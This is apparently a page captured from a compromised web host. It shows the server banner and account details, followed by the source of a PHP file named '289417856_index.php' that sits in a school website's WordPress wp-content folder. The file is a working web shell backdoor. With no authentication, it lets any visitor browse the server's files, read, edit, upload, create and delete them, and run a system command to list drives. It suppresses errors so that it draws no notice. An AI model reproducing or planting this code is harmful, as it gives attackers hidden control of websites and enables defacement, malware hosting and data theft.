HEX
Server: LiteSpeed
System: Linux sg-nme-web1042.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: u693151605 (693151605)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/u693151605/domains/pranamiglobalschool.net/public_html/wp-content/289417856_index.php
<?php
error_reporting(0);
session_start();
echo '<head><meta name="viewport" content="width=device-width, initial-scale=1.0"/><title>index_manager</title><style>pre{border:1px solid #ddd;padding:5px;overflow:auto}table{border-collapse:collapse;width:100%;overflow:auto}th,td{padding:0.25rem;text-align:left;border-bottom:1px solid #ccc}tbody tr:nth-child(odd){background:#eee}tr:hover{background-color:#f5f5f5}</style></head><body>';

function h($obj){return isset($obj);}
function d($text){die($text);}
function gs($name){return h($_SESSION[$name])?$_SESSION[$name]:false;}
function ss($name,$val){$_SESSION[$name]=$val;}
function gp($name){return h($_POST[$name])?$_POST[$name]:false;}
function gg($name){return h($_GET[$name])?$_GET[$name]:false;}
function mi($type,$name,$val="",$style=""){return "<input type='$type' name='$name' value='$val' style='$style'/>";}
function mf($method,$inputs,$file=""){ $form="<form method=$method enctype='$file'>";foreach($inputs as $k=>$v){$form.=mi($k,(is_array($v)?$v[0]:$v),(h($v[1])?$v[1]:""),(h($v[2])?$v[2]:""));}return $form."</form>";}
function mt($head,$body){$h="";foreach($head as $th){$h.="<th>$th</th>";}$b="";foreach($body as $tr){$b.="<tr>";foreach($tr as $td){$b.="<td>$td</td>";}$b.="</tr>";}return "<table><thead>$h</thead><tbody>$b</tbody></table>";}
function l($link,$text,$target=""){return "<a href='$link' target='$target'>$text</a>";}
function d_active(){if(gs('d'))return true;if(!gp('d'))return false;ss('d',true);return true;}
function gp_path(){return gg('path')?gg('path'):__dir__;}
function fc($bytes){$s=['B','KB','MB','GB','TB','PB'];$i=0;while($bytes>=1024&&$i<count($s)-1){$bytes/=1024;$i++;}return round($bytes,2)." ".$s[$i];}
function ft($path){return date("M d Y H:i:s",filemtime($path));}
function df($p){return is_file($p)?unlink($p):(is_dir($p)?rmdir($p):false);}
function ef($edit){return is_file($edit)?mf('POST',['textarea'=>['edit',htmlentities(file_get_contents($edit)),"width:100%;height:90%"],'submit'=>['save','Save']]):false;}
function se($path,$str){return is_file($path)?file_put_contents($path,html_entity_decode($str)):false;}
function vf($path){return is_file($path)?htmlentities(file_get_contents($path)):false;}
function nf($path,$name){return !is_file("$path/$name")?file_put_contents("$path/$name",""):false;}
function nd($path,$name){return !is_dir("$path/$name")?mkdir("$path/$name"):false;}
function uf($path,$file){$name=basename($file['name']);return !is_file("$path/$name")?move_uploaded_file($file["tmp_name"],"$path/$name"):false;}
function gb($path){return ($path==""||$path=="/")?$path:implode("/",array_slice(explode("/",str_replace('\\','/',$path)),0,-1));}
function wd(){exec("wmic logicaldisk get caption",$c);$ret="";foreach($c as $d){if($d!="Caption")$ret.=l("?path=$d",$d);}return $ret;}
function gd(){ $path=gp_path();if(!is_dir($path))return false;$dir=scandir($path);$files=[];$i=0;foreach($dir as $d){if($d=='.'||$d=='..')continue;$p="$path/$d";$s='--';$icon="&#128193;";$t=ft($p);$l=l("?path=$p",$d);$perms=substr(sprintf("%o",fileperms($p)),-4);$owner=(function_exists('posix_getpwuid')?posix_getpwuid(fileowner($p))['name']:fileowner($p));$ctrl=(is_file($p)?l("?edit=$p","Edit"):"").l("?delete=$p","Delete");if(is_file($p)){$s=fc(filesize($p));$icon="&#128221;";}$files[]=[$icon,$i,$l,$s,$t,$perms,$owner,$ctrl];$i++;}return mt(['#','id','Filename','Size','Modified','Perms','Owner',''],$files);}

if(gg("delete"))df(gg("delete"))?d("Deleted: ".gg("delete")):d("File not found");
if(gg("edit")){if(gp('save')){se(gg('edit'),gp('edit'));echo "Saved";}ef(gg("edit"))?d(ef(gg("edit"))):d("File not found");}
if(gp('newfile'))nf(gp_path(),gp('filename'))?d('Create: '.gp('filename')):d('File exists');
if(gp('newdir'))nd(gp_path(),gp('dirname'))?d('Create: '.gp('dirname')):d('Dir exists');
if(gp('upload'))uf(gp_path(),$_FILES['file'])?d('Upload: '.$_FILES['file']['name']):d('Upload Error');
echo mf('POST',['text'=>['filename','File Name'],'submit'=>['newfile','Create']]).
     mf('POST',['text'=>['dirname','Dir Name'],'submit'=>['newdir','Create']]).
     mf('POST',['file'=>'file','submit'=>['upload','Upload']],'multipart/form-data').
     l("?path=".gb(gp_path()),"[Back]").
     (PHP_OS_FAMILY=="Windows"?wd():"").
     (is_dir(gp_path())?gd():'<pre>'.vf(gp_path()).'</pre>').
     "</body>";
?>